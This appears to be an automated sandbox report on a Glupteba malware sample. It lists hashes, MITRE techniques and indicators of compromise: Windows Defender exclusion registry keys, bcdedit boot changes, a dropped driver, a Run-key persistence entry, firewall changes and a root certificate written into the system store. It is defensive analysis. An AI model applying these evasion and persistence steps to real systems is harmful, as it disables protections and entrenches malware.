glupteba | 2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

Analysis

max time kernel
140s
max time network
121s
platform
windows7_x64
resource
win7-20220414-en
submitted
12-06-2022 01:42

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General

Target

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Size

3.9MB
MD5

d7cdd366a076f32d242bd88450bde311
SHA1

f793c13a8374d1d8dd4cb120b376e39c637b251b
SHA256

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d
SHA512

778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1504-56-0x0000000002D00000-0x0000000003504000-memory.dmp	family_glupteba
behavioral1/memory/1504-57-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral1/memory/1504-58-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral1/memory/1692-64-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral1/memory/1692-70-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral1/memory/1948-73-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral1/memory/1948-83-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolPaper = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
380	bcdedit.exe
824	bcdedit.exe
1216	bcdedit.exe
1820	bcdedit.exe
1648	bcdedit.exe
268	bcdedit.exe
948	bcdedit.exe
1672	bcdedit.exe
972	bcdedit.exe
392	bcdedit.exe
828	bcdedit.exe
1840	bcdedit.exe
1100	bcdedit.exe
1764	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

1948 csrss.exe
1564 patch.exe
1356 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

380 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1948	csrss.exe
1564	patch.exe
1356	dsefix.exe

pid	process
380	netsh.exe

Loads dropped DLL 12 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exepatch.execsrss.exe

pid	process
1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
864
1564	patch.exe
1564	patch.exe
1564	patch.exe
1564	patch.exe
1564	patch.exe
1564	patch.exe
1564	patch.exe
1564	patch.exe
1948	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolPaper = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoolPaper = "\"C:\\Windows\\rss\\csrss.exe\""	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
File created	C:\Windows\rss\csrss.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220612050622.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1212 schtasks.exe
1260 schtasks.exe

pid	process
1212	schtasks.exe
1260	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exenetsh.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
